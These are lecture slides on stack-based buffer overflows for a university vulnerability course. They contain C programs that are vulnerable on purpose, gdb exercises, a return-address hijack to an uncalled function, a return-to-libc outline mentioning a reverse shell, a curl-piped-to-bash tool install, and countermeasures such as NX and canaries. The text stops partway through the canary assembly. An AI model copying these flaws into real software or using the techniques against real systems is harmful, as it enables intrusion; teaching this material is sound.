

# Buffers 1 - Stack

---

JOÃO PAULO BARRACA



João Paulo Barraca

Assessment and Exploration of Vulnerabilities

1



universidade  
de aveiro

# Buffer Overflow - According to CAPEC-100

---

- Targets improper or missing bounds checking on buffer operations
  - typically triggered by input injected by an adversary.
- An adversary is able to write past the boundaries of allocated buffer regions in memory
- Causes a program crash or potentially redirection of execution as per the adversaries' choice.
  - Denial of Service
  - (Remote) Code Execution

# Buffer Overflow - Scope

---

- **CWE-119 is extremely broad as there are many types of BO**
- **Characteristics of a BO**
  - Type of access: Read or Write
  - Type of memory: stack, heap
  - Location: before or after the buffer
  - Reason: iteration, copy, pointer arithmetic, memory clear, mapping

# Other Direct Child CWEs

---

- CWE-120      Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')**
- CWE-125      Out-of-bounds Read**
- CWE-466      Return of Pointer Value Outside of Expected Range**
- CWE-786      Access of Memory Location Before Start of Buffer**
- CWE-787      Out-of-bounds Write**
- CWE-788      Access of Memory Location After End of Buffer**
- CWE-805      Buffer Access with Incorrect Length Value**
- CWE-822      Untrusted Pointer Dereference**
- CWE-823      Use of Out-of-range Pointer Offset**
- CWE-824      Access of Uninitialized Pointer**
- CWE-825      Expired Pointer Dereference**



# Relevant CWEs with specific types

---

**CWE-120: Classic Buffer Overflow:** copy without checking the size of the input

**CWE-121: Stack-based Buffer Overflow:** overwrite over data in the Stack Segment

**CWE-122: Heap-based Buffer Overflow:** overwrite over data in the Heap Segment

**CWE-123: Write-what-where Condition:** ability to write to any memory of choice


**CWE-124: Buffer Underwrite ('Buffer Underflow'):** Write to memory before the buffer

**CWE-126: Buffer Over-read:** Read after the buffer ends (e.g., using an index)

**CWE-127: Buffer Under-read:** Read before the buffer start (e.g., using an index)



# Total Matches By Year



Popularity at NVD



# Popularity decline

---

- **Better tools to check for the vulnerability**
  - Static/Dynamic Code analysis
- **Dissemination of bound checking mechanisms in compilers**
  - Standard in most distributions and enabled by default
  - Still lacking in embedded devices
- **Increasingly higher adoption of higher layer languages**
  - Extensive use and Open Sources libraries improves security
  - Security focused languages such as Rust

# Potentially Vulnerable Software

---

- **Any software that gets information from external sources**
  - Sockets, PIPEs and other IPC
  - Files
  - Program arguments
  - Environment Variables
  
- **Software developed in languages with direct memory access**
  - Mostly C and C++ (or at least with most devastating impact)
  - But also: Go when using “unsafe”, PHP, Python, Java, etc...

# Dominant prevalence

---

- Anything that was made in a language with access to memory
  - Server software packages (nginx, apache, mysql, ...)
  
- Embedded and IoT devices
  - Due to lack of compiler support
  - Due to lack of hardware capabilities



# ... in python

---

```
$ cat bo_1.py

message = "Hello World"

buffer = [None] * 10

print(message)

for i in range(15):

    buffer[i] = 'A'

print(message)
```

```
$ python3 bo_1.py

Hello World

Traceback (most recent call last):

  File "bo_1.py", line 7, in <module>

    buffer[i] = 'A'

IndexError: list assignment index out of range
```



# ... in C

---

```
#include <stdio.h>

void main(int argc, char* argv[]){
    char message[] = "Hello World";
    int buffer[5];
    int i;

    printf("%s\n", message);
    for(i = 0;i < 15; i++) {
        buffer[i] = 'A';
    }
    printf("%s\n", message);
}
```

```
$ ./bo_1
Hello World
AAAAAAAAAAAAAAAd AAAAAAAAAAAAd
```



# Vulnerabilities in languages (mostly C/C++)

---

- **Not memory safe: programmers can read/write memory freely and are not constrained by the address or size of the variables**
  - Great flexibility, but huge risk as mistakes lead to accessing memory that otherwise should not be accessed
  - C/C++ compilers have freedom to optimize code and even sometimes undefined behavior
- **Memory safe languages intercept such errors, raising errors**
  - Program will crash (DoS), but impact is limited

```
// Correct usage
printf("%d\n", *value);

// Reading memory after the variable
printf("%d\n", *(value + 4));

// Reading memory before the variable
printf("%d\n", *(value - 4));
```



# Vulnerabilities in languages (mostly C/C++)

- Not memory safe: programmers can read/write memory freely and are not constrained by the address or size of the variables
  - Great flexibility, but huge risk as mistakes lead to accessing memory that otherwise should not be accessed
  - C/C++ compilers have freedom to optimize code and even sometimes undefined behavior
- Memory safe languages intercept such errors, raising errors
  - Program will crash (Availability Compromised), but impact is limited

```
// Correct usage  
printf("%d\n", *value);  
  
// Reading memory after the variable  
printf("%d\n", *(value + 4));  
  
// Reading memory before the variable  
printf("%d\n", *(value - 4));
```

```
$ ./not_memory_safe  
42  
0  
32767
```

# Vulnerabilities in languages (mostly C/C++)

---

- **Not type safe: memory content can be reinterpreted as required by the programmer**
  - Casts may be arbitrarily allowed and not checked
- **Type safe languages do not allow reinterpretation, or only safe reinterpretation**
  - Cast a byte to int is safe, a buffer to int is not.

```
int value = 42;

// Correct usage
printf("%d\n", value);

// Cast to variable with different storage
printf("%f\n", *((double*) &value));

// Cast to variable with different size
printf("%llu\n", *((unsigned long long*) &value));
```



# Vulnerabilities in languages (mostly C/C++)

- **Not type safe: memory content can be reinterpreted as required by the programmer**
  - Casts may be arbitrarily allowed and not checked
- **Type safe languages do not allow reinterpretation, or only safe reinterpretation**
  - Cast a byte to int is safe, a buffer to int is not.

```
int value = 42;

// Correct usage
printf("%d\n", value);

// Cast to variable with different storage
printf("%f\n", *((double*) &value));

// Cast to variable with different size
printf("%llu\n", *((unsigned long long*) &value));
```

```
$ ./not_type_safe
42
0.000000
1170988679674462250
```

# Vulnerabilities in languages (mostly C/C++)

## ➤ Dynamically allocated memory has no implicit management mechanism

- Programmer must allocate and deallocate all memory
- Programmer must know how memory was allocated
- Programmer must free memory only after there is no other reference

```
char* buffer = (char*) malloc(10);
char* str = buffer;

free(buffer);

// Write after free (and write beyond buffer)
memcpy(str, "Hello World!!!!", 15);

// Read after free (and read beyond buffer)
printf("%s\n", str);
```

```
$ ./dynamic_memory
Hello World!!!!
```




# Why? Memory Structure 101

---

- **Kernel organizes memory in pages**
  - Typically 4096 bytes
- **Processes operate in a Virtual Memory Space**
  - Mapped to real pages, which can be in RAM or Swapped
- **Kernel splits program in several segments**
  - Increases security
    - segment based permissions
  - Increases performance
    - some are dynamic: invalidated when program terminates
    - some are static: can be retained, speed repeated startup

# Memory Structure

- SS: Local variables and execution flow
- Shared Libraries: .so/dlls loaded.
  - Addresses are shared between programs
- Heap: memory allocated with malloc/new
- BSS: Global Variables
- Data: Constants
- Code: Actual instructions



# **mem.C** (available in course web page)

---

➤ **Simple program showing the memory map of itself**

➤ **Features:**

- Prints the address of objects of different types
  - Argument
  - Dynamic memory with malloc
  - Global Variable
  - Constant
  - Function
- Prints the memory maps as exposed in /proc/self/maps
- Creates a recursive function and prints the address of local variables
- Crashes with a Stack Overflow



# mem.c

## Internal Variables (Page = 4096)


`&argc = bfeb8590 -> stack = bfeb8000`

`malloc = 08435008 -> heap = 08435000`

`bssvar = 0804a034 -> bss = 0804a000`

`cntvar = 08048920 -> const = 08048000`


`&main = 0804865c -> text = 08048000`



# mem.c

Content of /proc/self/maps

```
08048000-08049000 r-xp 00000000 08:01 26845750 /home/s/mem
08049000-0804a000 r--p 00000000 08:01 26845750 /home/s/mem
0804a000-0804b000 rw-p 00001000 08:01 26845750 /home/s/mem
08435000-08456000 rw-p 00000000 00:00 0 [heap]
b7616000-b7617000 rw-p 00000000 00:00 0
b7617000-b776a000 r-xp 00000000 08:01 1574823 /lib/tls/i686/cmov/libc-2.11.1.so
b776a000-b776b000 ---p 00153000 08:01 1574823 /lib/tls/i686/cmov/libc-2.11.1.so
b776b000-b776d000 r--p 00153000 08:01 1574823 /lib/tls/i686/cmov/libc-2.11.1.so
b776d000-b776e000 rw-p 00155000 08:01 1574823 /lib/tls/i686/cmov/libc-2.11.1.so
b776e000-b7771000 rw-p 00000000 00:00 0
b777e000-b7782000 rw-p 00000000 00:00 0
b7782000-b7783000 r-xp 00000000 00:00 0 [vds]
b7783000-b779e000 r-xp 00000000 08:01 1565567 /lib/ld-2.11.1.so
b779e000-b779f000 r--p 0001a000 08:01 1565567 /lib/ld-2.11.1.so
b779f000-b77a0000 rw-p 0001b000 08:01 1565567 /lib/ld-2.11.1.so
bfe99000-bfeba000 rw-p 00000000 00:00 0 [stack]
```




# mem.c

Stack evolution:

```
foo [000]: &argc = bfeb8140 -> stack = bfeb8000
foo [001]: &argc = bfdb8110 -> stack = bfdb8000
foo [002]: &argc = bfcb80e0 -> stack = bfcb8000
foo [003]: &argc = bfbb80b0 -> stack = bfbb8000
foo [004]: &argc = bfab8080 -> stack = bfab8000
foo [005]: &argc = bf9b8050 -> stack = bf9b8000
foo [006]: &argc = bf8b8020 -> stack = bf8b8000
foo [007]: &argc = bf7b7ff0 -> stack = bf7b7000
foo [008]: &argc = bf6b7fc0 -> stack = bf6b7000
```

Segmentation fault




# Stack organization

- Stack is organized by frames, one for each function call
  - Memory reserved for the function to use as it requires
- Each stack frame stores:
  - Return Information
  - Local Variables
  - Arguments to following functions (x32: all, x64: +5<sup>th</sup>)

```
void main(){  
    foo();  
}
```


```
void foo(){  
    bar();  
}
```



# Stack organization


- Stack is organized by frames, one for each function call
  - Memory reserved for the function to use as it requires

- Each stack frame stores:
  - Return Information
  - Local Variables
  - Arguments to following functions



# Stack organization

- **Return information has 2 major objectives**
  - Chaining frames as new functions are called
  - Return to the next instruction after the function ends
- **Frame chaining**
  - When a function is called, the address of the current stack frame (Register RBP in x64) is push to the frame
  - When the function ends, RBP is popped
    - Caller function has its frame restored
- **Function chaining**
  - When a function is called, the address of the next instruction is push to the stack (RIP register)
  - When a function ends, that address is popped
    - Execution resumes at the caller function



# mem\_local.c (available in course web page)

- Prints the address to several variables
  - Local variables declared in the main function
  - Arguments passed to the foo function
  - Local variables in the foo function

```
main
argc   : 0x7ffd6baeddc
argv   : 0x7ffd6baeed8

foo
a      : 0x7ffd6baed8c
local_a: 0x7ffd6baed9b
buffer : 0x7ffd6baeda0
local_b: 0x7ffd6baed9c
```

```
char foo(int a,){
    char local_a = 3;
    char buffer[16];
    int local_b = 5;

    printf("%p\n", &a);
    printf("%p\n", &local_a);
    printf("%p\n", &buffer);
    printf("%p\n", &local_b);

    buffer[0] = local_a;
    return buffer[0];
}

int main(int argc, char* argv[]){
    printf("%p\n", &argc);
    printf("%p\n", argv);

    return foo(argc);
}
```



# mem\_local.c – Conclusions

## ➤ Stack frame grows from higher addresses to lower addresses

- Main has variables at 0xbaedb.
- Foo has variables at 0xbaed6-8.

```
main
argc   : 0x7ffd6baeddc
argv   : 0x7ffd6baeed8
```

```
foo
a      : 0x7ffd6baed8c
local_a: 0x7ffd6baed9b
buffer : 0x7ffd6baeda0
local_b: 0x7ffd6baed9c
```

```
char foo(int a,){
    char local_a = 3;
    char buffer[16];
    int local_b = 5;

    printf("%p\n", &a);
    printf("%p\n", &local_a);
    printf("%p\n", &buffer);
    printf("%p\n", &local_b);

    buffer[0] = local_a;
    return buffer[0];
}

int main(int argc, char* argv[]){
    printf("%p\n", &argc);
    printf("%p\n", argv);

    return foo(argc);
}
```



# mem\_local.c – Conclusions

- Declaration order doesn't matter!
- Compiler will place variables are he seems adequate
  - Will keep information aligned
  - May create empty spaces
  - May deploy additional protection mechanisms (canaries)

main

```
argc    : 0x7ffd6baeddc
argv    : 0x7ffd6baeed8
```

foo

```
a      : 0x7ffd6baed8c
local_a: 0x7ffd6baed9b (3rd)
buffer : 0x7ffd6baeda0 (1st)
local_b: 0x7ffd6baed9c (2nd)
```

```
char foo(int argc){
    char local_a = 3;
    char buffer[16];
    int local_b = 5;

    printf("%p\n", &argc);
    printf("%p\n", &local_a);
    printf("%p\n", &buffer);
    printf("%p\n", &local_b);

    buffer[0] = local_a;
    return buffer[0];
}


int main(int argc, char* argv[]){
    printf("%p\n", &argc);
    printf("%p\n", argv);

    return foo(argc);
}
```



# mem.c

**Q: How much can it grow?**




# mem.c

## 1. Until a limit imposed by the SO is reached. Ex:

- glibc i386, x86_64	7.4 MB
- Tru64 5.1	5.2 MB
- Cygwin	1.8 MB
- Solaris 7..10	1 MB
- MacOS X 10.5	460 KB
- AIX 5	98 KB
- OpenBSD 4.0	64 KB
- HP-UX 11	16 KB

## 2. Until vital memory is overwritten ...mostly in embedded (IoT) devices



# CWE-120 Classic Overflow

---

- **Given an input buffer, data is copied without checking its size**
  - If destination buffer is larger than input data, nothing bad happens
  - If destination buffer is smaller than input data, memory is overwritten
- **Impact: memory is overwritten**
  - Mostly affects local variables
  - May change the execution flow
    - Change of local control variables
    - Change of stored Instruction Pointer
  - May be used to inject external code
- **Solution: take in consideration the size of the destination buffer!**

# Classic Overflow – prog 1

## ➤ Description:

- Reads the username from the command line
- Input is stored in variable **username**
- Variable can hold strings up to 31 chars
- **scanf** function has no limit on input size
- **printf** will print the content

## ➤ Shows a simple write beyond boundary

- **printf** also shows a read beyond boundaries

```
//classic/prog_1.c
//gcc -O0 -fno-stack-protector -o prog_1 prog_1.c

#include <stdio.h>

int main() {
    char username[32];
    puts("username:");
    scanf("%s", username);
    printf("Welcome %s!\n", username);
    return 0;
}
```



# Classic Overflow – prog 1

- **Reading more than 31 chars will result in overwriting the memory after the username**

- There are no other variables, so this will be stack structures (addressed later)

- **printf will print chars up to 0x00**

- potentially printing program memory
- Function is insecure as there are no explicit boundaries except the actual string content

```
//classic/prog_1.c
//gcc -O0 -fno-stack-protector -o prog_1 prog_1.c

#include <stdio.h>

int main() {
    char username[32];
    puts("username:");
    scanf("%s", username);
    printf("Welcome %s!\n", username);
    return 0;
}
```



# Exercise: classic/prog 1

---

- Install gef: `bash -c "$(curl -fsSL https://gef.blah.cat/sh)"`
- Compile the binary: `gcc -g -O0 -fno-stack-protector -o prog_1 prog_1.c`
- Analyze the execution with different payloads
  - Print register: `p $rsp` or variable address `p &username`
  - Check stack information: `info frame`
- Determine
  - What is the stack base address?
  - Where is the return information?
  - How many bytes can be entered without overflow?
  - How many bytes can be written without damage?
  - What happens when an overflow is achieved?



```

$rax : 0x1
$rbx : 0x00007fffffffde78 → 0x00007fffffff1f5 → "/media/sf_labs/bo/prog_1"
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffdd40 → "aaaaaaaaaaaaaaaaaa"
$rbp : 0x00007fffffffdd60 → 0x0000000000000001
$rsi : 0xa
$rdi : 0x00007fffffff800 → 0x0000000000000000
$rip : 0x00005555555518b → <main+0032> lea rax, [rbp-0x20]
$r8 : 0xa
$r9 : 0xfffffff
$r10 : 0x00005555555600f → 0x6d6f636c65570073 ("s"?) ← $rsp
$r11 : 0x00007ffff7f3c8e0 → 0x0002000200020002
$r12 : 0x0
$r13 : 0x00007fffffffde88 → 0x00007fffffff2e0 → "COLORFGBG=15;0"
$r14 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x000055555554000 → jpg 0x555555554047
$r15 : 0x000055555557dd8 → 0x000055555555110 → <_do_global_dtors_aux+0000> endbr64
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00

```

0x00007fffffffdd40	+0x0000: "aaaaaaaaaaaaaaaaaa"	← \$rsp
0x00007fffffffdd48	+0x0008: "aaaaaaaaaa"	
0x00007fffffffdd50	+0x0010: 0x000000000006161 ("aa"?)	
0x00007fffffffdd58	+0x0018: 0x00007fffffffdf0 → 0x0000000000000001	
0x00007fffffffdd60	+0x0020: 0x0000000000000001	← \$rbp
0x00007fffffffdd68	+0x0028: 0x00007ffff7dd6d68 → <_libc_start_call_main+0078> mov edi, eax	
0x00007fffffffdd70	+0x0030: 0x00007fffffffde60 → 0x00007fffffffde68 → 0x0000000000000038 ("8"?)	
0x00007fffffffdd78	+0x0038: 0x000055555555159 → <main+0000> push rbp	

```

0x555555555517e <main+0025>    mov    rdi, rax
0x5555555555181 <main+0028>    mov    eax, 0x0
0x5555555555186 <main+002d>    call   0x5555555555050 <__isoc99_scanf@plt>
●→ 0x555555555518b <main+0032>    lea    rax, [rbp-0x20]
0x555555555518f <main+0036>    mov    rsi, rax
0x5555555555192 <main+0039>    lea    rax, [rip+0xe78]      # 0x555555556011
0x5555555555199 <main+0040>    mov    rdi, rax
0x555555555519c <main+0043>    mov    eax, 0x0
0x55555555551a1 <main+0048>    call   0x5555555555040 <printf@plt>

```

```

2
3 int main() {
4     char username[32];
5     puts("username:");
6     scanf("%s", username);
7     // username=0x00007fffffffdd40 → "aaaaaaaaaaaaaaaaaa"
●→ 7     printf("Welcome %s!\n", username);
8     return 0;
9 }
10

```

[#0] Id 1, Name: "prog\_1", stopped 0x5555555518b in main (), reason: BREAKPOINT

[#0] 0x5555555518b → main()



**Saved \$BP**  
**Saved \$PC**

```
0x00007fffffffdd40 +0x0000: "aaaaaaaaaaaaaaaaaaaa" ← $rsp
0x00007fffffffdd48 +0x0008: "aaaaaaaaaa"
0x00007fffffffdd50 +0x0010: 0x0000000000006161 ("aa"?) 
0x00007fffffffdd58 +0x0018: 0x00007fffffffddf0 → 0x0000000000000001
0x00007fffffffdd60 +0x0020: 0x0000000000000001 ← $rbp
0x00007fffffffdd68 +0x0028: 0x0007ffff7dd6d68 → <_libc_start_call_main+0078> mov edi, eax
0x00007fffffffdd70 +0x0030: 0x0007fffffffde60 → 0x0007fffffffde68 → 0x0000000000000038 ("8"?) 
0x00007fffffffdd78 +0x0038: 0x000355555555159 → <main+0000> push rbp
```

- **What is the stack base address?**
  - info frame: x7fffffffdd70
  - p \$rbp: 0x7fffffffdd60
- **Where is the return information?**
  - Just before \$rbp
- **How many bytes can be entered without overflow?**
  - sizeof(username) - 1
- **How many bytes can be written without damage?**
  - 31
  - It could have been different due to padding.
- **What happens when an overflow is achieved?**
  - Saved \$RBP is overwritten and then Saved \$PC is overwritten
  - In this case, 31 'a' were provided and an additional \0 was added at 0x..dd52

# Classic Overflow – classic/prog\_2

## ➤ Flow:

- Asks for username and password
- Validates credentials
- Asks for message
- If user authenticated, access is granted

## ➤ Issues:

- Several uncontrolled reads
- All variables may overwrite other

## ➤ Demonstrates overwrite of local variables

- Each vulnerable variable may overwrite others above

```
int main() {  
    char allowed = 0;  
    char password[8];  
    char username[8];  
    char message[32];  
  
    puts("username:");  
    scanf("%s", username);  
    puts("password:");  
    scanf("%s", password);  
    allowed = strcmp("admin", username) + \  
              strcmp("topsecret", password);  
  
    puts("message:");  
    scanf("%s", message);  
  
    printf("user=%s pass=%s result=%d\n", username, \  
          password, allowed);  
  
    if(allowed == 0)  
        printf("Access granted. Message sent!\n");  
    else  
        printf("Access denied\n");  
  
    return 0;  
}
```



# Classic Overflow – classic/prog\_2

- Variable order will determine how it can be exploited
  - Implementation dependent
- message is the prime suspect as it is written after the evaluation is done
- Can also change an internal decision (flow inside the function) by writing over the allowed variable

```
int main() {  
    char allowed = 0;  
    char password[8];  
    char username[8];  
    char message[32];  
  
    puts("username:");  
    scanf("%s", username);  
    puts("password:");  
    scanf("%s", password);  
    allowed = strcmp("admin", username) + \  
              strcmp("topsecret", password);  
  
    puts("message:");  
    scanf("%s", message);  
  
    printf("user=%s pass=%s result=%d\n", username, \  
          password, allowed);  
  
    if(allowed == 0)  
        printf("Access granted. Message sent!\n");  
    else  
        printf("Access denied\n");  
  
    return 0;  
}
```



# Classic Overflow – classic/prog\_2

p &allowed

0x7fffffffdd4f

Memory grows from top to bottom

p &username

**message** can be used to overwrite everything!!!

0x7fffffffdd3f

p &password

There is padding between the **message** and the **user**

0x7fffffffdd47

p &message

There is padding between the **message** and the **user**

0x7fffffffdd10

allowed

```
0x00007fffffffdd10: +0x0000: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0x00007fffffffdd18: +0x0008: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0x00007fffffffdd20: +0x0010: "aaaaaaaaaaaaaaaaaaaaaaaa"
0x00007fffffffdd28: +0x0018: 0x006d6d6d6d6d6d6d ("aaaaaaaa" ?)
0x00007fffffffdd30: +0x0020: 0x0000000000000000
0x00007fffffffdd38: +0x0028: 0x7500000000000000
0x00007fffffffdd40: +0x0030: 0x7000757575757575 ("uuuuuu" ?)
0x00007fffffffdd48: +0x0038: 0xa000707070707070 ("pppppp" ?)
0x00007fffffffdd50: +0x0040: 0x0000000000000000
0x00007fffffffdd58: +0x0048: 0x00007fffffffde78 → 0x00007fffffffde1f5 → "/media/sf_labs/bo/prog_2"
0x00007fffffffdd60: +0x0050: 0x0000000000000001 ← $rbp
0x00007fffffffdd68: +0x0058: 0x00007ffff7dd6d68 → <__libc_start_main+0078> mov edi, eax
0x00007fffffffdd70: +0x0060: 0x00007fffffffde68 → 0x0000000000000038 ("8" ?)
```

# Exercise: classic/prog 2

---

- **Compile the binary:** `gcc -g -O0 -fno-stack-protector -o prog_2 prog_2.c`
- **Analyze the execution with different payloads**
  - Print register: `p $rsp` or variable address `p &username`
  - Check stack information: `info frame`
- **Determine**
  - What is the stack base address?
  - Where is the return information?
  - How many bytes can be entered to the message without overflow?
  - How many bytes can be written without damage?
  - What happens when an overflow is achieved?
  - How can the decision be subverted?



# CWE-126: Buffer Over-read

---

- **The software reads from a buffer and reference memory locations after the targeted buffer.**
  - using buffer access mechanisms such as indexes or pointers
- **Impact: Allows access to otherwise private data**
- **Most common with:**
  - Casts between structures with different sizes
  - Copy of data without considering the actual size, assuming a general size
  - Copy of data based on corrupted metadata
  - Erasure of \0 in null terminated strings



# Buffer Over-read – overread1.c

## ➤ Program flow:

- Program reads a string without boundary checks
- Memory is manipulated
- A message is printed

## ➤ Demonstrates a read beyond bounds with printf

## ➤ Impact: private data (message) is disclosed to users

```
int main(int argc, char* argv[]){
    char message[32];
    char buffer[8];

    printf("Password: ");
    scanf("%s", buffer);

    sprintf(message, "Secret message");

    if(strcmp(buffer, "password") == 0)
        printf("%s\n", message);
    else{
        printf("Password %s is
incorrect\n", buffer);
    }
}
```

# Buffer Over-read – overread1

## ➤ Vulnerability:

- In some situations, the password may overflow the buffer, and further memory operations erase the **\0** character
- Further **printf** of a message will include additional memory

```
int main(int argc, char* argv[]){
    char message[32];
    char buffer[8];

    printf("Password: ");
    scanf("%s", buffer);

    sprintf(message, "Secret message");


    if(strcmp(buffer, "password") == 0)
        printf("%s\n", message);
    else{
        printf("Password %s is
incorrect\n", buffer);
    }
}
```



# Buffer Over-read – overread1

---

- **Exercise: Determine what conditions trigger the vulnerability, and what is the impact.**
- **Write overflow**



- **Memory manipulation erases the password Null terminator (\0)**



- **Read overflow**



# Buffer Over-read – server.c

---

## ➤ Program Flow

- Receives a message to a buffer
- Prints the buffer
- Returns the buffer through the socket

## ➤ Vulnerability:

- Send doesn't respect buffer sizes and will use a buffer larger than expected
- `printf` has no notion of string size and will print everything up to `\0`


## ➤ Impact: existing memory contents will be sent to clients

```
while(1){  
    n = recvfrom(sockfd, buffer, 32, NULL, &cliaddr, &len);  
    printf("%s\n", buffer);  
    sendto(sockfd, buffer, MESSAGE_SIZE, NULL, &cliaddr, len);  
}
```

# Buffer Over-read – server.c

---

- **Exercise:** Determine what conditions trigger the vulnerability, and what is the impact.
- **Variable structure:**




# Stack Overflow

---



# Stack Based Vulnerabilities


- **Stack can be subverted to conduct attacks**
  - it contains local variables (which store user injected data)
  - the program execution flow is kept in the stack
- **Mostly:**
  - Denial of Service: program crashes
  - Memory disclosure: attacker gains access to previous frames
  - Change program flow
  - Injection of malicious code



# Stack Based Vulnerabilities


- Recap...
- Local variables will overwrite others

- Can change data stored
- Can lead to local memory disclosure
- Can change local decisions if they depend of stored data



# Stack Based Vulnerabilities

- **Recap...**
- **Local variables will overwrite others**
  - Can change data stored
  - Can lead to local memory disclosure
  - Can change local decisions if they depend of stored data
- **Further writing will overwrite flow information**
  - If done blindly, program will crash (why?)
- **It affects frames from previous functions**



# Stack Smashing

➤ **What about writing the correct values to the stack?**

- Some value to RBP
- An address belonging to the process in RIP

➤ **Well... when the message ends the flow will be restored**

- That is... **stored RBP and stored RIP are loaded into the registers**
- The stack frame will start at RBP
- Program jump to the address in RIP

➤ **If the addresses aren't in a mapped area, program will receive a SIGSEGV**



# Stack: program\_flow.c

## ➤ Program flow:

- Reads data from file
- Calls **foo** function with size and buffer
- **foo** has an overflowing **memcpy**
- **secret** function is never called

## ➤ Attack: Overflow the buffer

- writing over stored \$RBP
- writing over stored \$RIP, placing **&secret** there

## ➤ Consider ASLR to be disabled

```
void secret(){  
    printf("Secret message\n");  
    exit(0);  
}  
char foo(int size, char* arg){  
    char buffer[8];  
    memcpy(buffer, arg, size);  
    return buffer[0];  
}  
int main(int argc, char* argv[]){  
    char buffer[64];  
    printf("%p\n", &secret);  
  
    FILE *fp = fopen(argv[1], "r");  
    int size = fread(buffer, 1, 64, fp);  
    fclose(fp);  
  
    foo(size, buffer);  
    return 0;  
}
```



# Stack: program\_flow.c

➤ Main stack



➤ Foo stack

- Stored program flow
- buffer[8]



➤ Secret has no stack!




```
void secret(){  
    printf("Secret message\n");  
    exit(0);  
}  
  
char foo(int size, char* arg){  
    char buffer[8];  
    memcpy(buffer, arg, size);  
    return buffer[0];  
}  
  
int main(int argc, char* argv[]){  
    char buffer[64];  
    printf("%p\n", &secret);  
  
    FILE *fp = fopen(argv[1], "r");  
    int size = fread(buffer, 1, 64, fp);  
    fclose(fp);  
  
    foo(size, buffer);  
    return 0;  
}
```

# Stack: program\_flow.c

## ➤ Attack strategy

- Overwrite buffer over RBP/RIP



## ➤ How to find the addresses?

- If we have the source code:  
`printf("%p\n", secret);`
- If we don't: **gdb** or brute-force

```
void secret(){  
    printf("Secret message\n");  
    exit(0);  
}  
char foo(int size, char* arg){  
    char buffer[8];  
    memcpy(buffer, arg, size);  
    return buffer[0];  
}  
int main(int argc, char* argv[]){  
    char buffer[64];  
    printf("%p\n", &secret);  
  
    FILE *fp = fopen(argv[1], "r");  
    int size = fread(buffer, 1, 64, fp);  
    fclose(fp);  
  
    foo(size, buffer);  
    return 0;  
}
```

# Stack: program\_flow.c

```
$ ./program_flow payload
```

```
0x8001209
```

Value to inject  
program vs gdb  
may yield different  
values!

```
$ gdb program_flow payload
```

```
gdb$ br main
```

```
gdb$ run
```

```
gdb$ print &secret
```

```
gdb$ 5 = (void (*)()) 0x8001209 <secret>
```

```
void secret(){  
    printf("Secret message\n");  
    exit(0);  
}  
char foo(int size, char* arg){  
    char buffer[8];  
    memcpy(buffer, arg, size);  
    return buffer[0];  
}  
int main(int argc, char* argv[]){  
    char buffer[64];  
    printf("%p\n", &secret);  
  
    FILE *fp = fopen(argv[1], "r");  
    int size = fread(buffer, 1, 64, fp);  
    fclose(fp);  
  
    foo(size, buffer);  
    return 0;  
}
```

# Stack Smashing – program\_flow.c


## ➤ Typical flow



```
void secret(){  
    printf("Secret message\n");  
    exit(0);  
}  
char foo(int size, char* arg){  
    char buffer[8];  
    memcpy(buffer, arg, size);  
    return buffer[0];  
}  
int main(int argc, char* argv[]){  
    char buffer[64];  
    printf("%p\n", &secret);  
  
    FILE *fp = fopen(argv[1], "r");  
    int size = fread(buffer, 1, 64, fp);  
    fclose(fp);  
  
    foo(size, buffer);  
    return 0;  
}
```

# Stack: program\_flow.c

## ➤ Flow subverted to secret()



```
void secret(){
    printf("Secret message\n");
    exit(0);
}

char foo(int size, char* arg){
    char buffer[8];
    memcpy(buffer, arg, size);
    return buffer[0];
}

int main(int argc, char* argv[]){
    char buffer[64];
    printf("%p\n", &secret);

    FILE *fp = fopen(argv[1], "r");
    int size = fread(buffer, 1, 64, fp);
    fclose(fp);

    foo(size, buffer);
    return 0;
}
```

# Stack: program\_flow.c

```
$ program_flow payload
```

```
0x8001209
```

```
Secret message
```


With the correct payload, secret() is called

Q: What payload?

```
void secret(){  
    printf("Secret message\n");  
    exit(0);  
}  
char foo(int size, char* arg){  
    char buffer[8];  
    memcpy(buffer, arg, size);  
    return buffer[0];  
}  
int main(int argc, char* argv[]){  
    char buffer[64];  
    printf("%p\n", &secret);  
  
    FILE *fp = fopen(argv[1], "r");  
    int size = fread(buffer, 1, 64, fp);  
    close(fp);  
  
    size, buffer);  
    n 0;
```

# Stack: return\_to\_libc.c

- Instead of returning to a program function it is possible to jump to other locations
  - In theory, any segment allocated to the program
  - In practice, permission mechanisms limit the available segments
- Segments for libraries have several generic libraries
  - And relevant functions: system()
- Stack can be executable
  - but it isn't on recent systems



# Stack: return\_to\_libc.c

---

## ➤ Typical Flow



## ➤ Return to libc


- Build “fake” Stack frame and call system() with one argument
  - Argument is the command to execute (e.g. a reverse shell)
- Must take in consideration calling convention
  - Which is architecture dependent



# Stack: return\_to\_libc.c (32bits)

## ➤ Arguments are passed in the stack

- Approach: store values to the stack so that system is called with a **shellcode**
  - Then call system



# Countermeasures: Data Executable Prevention

---

## ➤ Non Executable Stack (NX) (Data Executable Prevention)

- Most binaries do not allow running code from Stack
- Stack segments are marked as Non Executable (NX bit)
  - IP cannot jump to it
  - Injection of a shellcode is not possible

## ➤ Introduced in recent OS, but can be disabled

- Not ubiquitous on embedded devices
- Binaries must opt-in!



# Countermeasures: Canaries

---

- **Uses references values after local variables to detect overflow**
  - Value is placed when the function starts
  - Value is compared before function exits
  - Program is interrupted if values do not match
  
- **Stack canaries:**



# Countermeasures: Canaries

## Without Canaries

```
push    rbp
mov     rbp, rsp
sub    rsp, 16
lea     rax, -10[rbp]
mov     rsi, rax
lea     rdi, .LC0[rip]
mov     eax, 0
call   __isoc99_scanf@PLT
lea     rax, -10[rbp]
mov     rdi, rax
call   puts@PLT
nop
leave
ret
```

## With Canaries

```
push    rbp
mov     rbp, rsp
sub    rsp, 32
mov     rax, QWORD PTR fs:40
mov     QWORD PTR -8[rbp], rax
xor    eax, eax
lea     rax, -18[rbp]
mov     rsi, rax
lea     rdi, .LC0[rip]
mov     eax, 0
call   __isoc99_scanf@PLT
lea     rax, -18[rbp]
mov     rdi, rax
call   puts@PLT
nop
mov     rax, QWORD PTR -8[rbp]
xor    rax, QWORD PTR fs:40
je    .L2
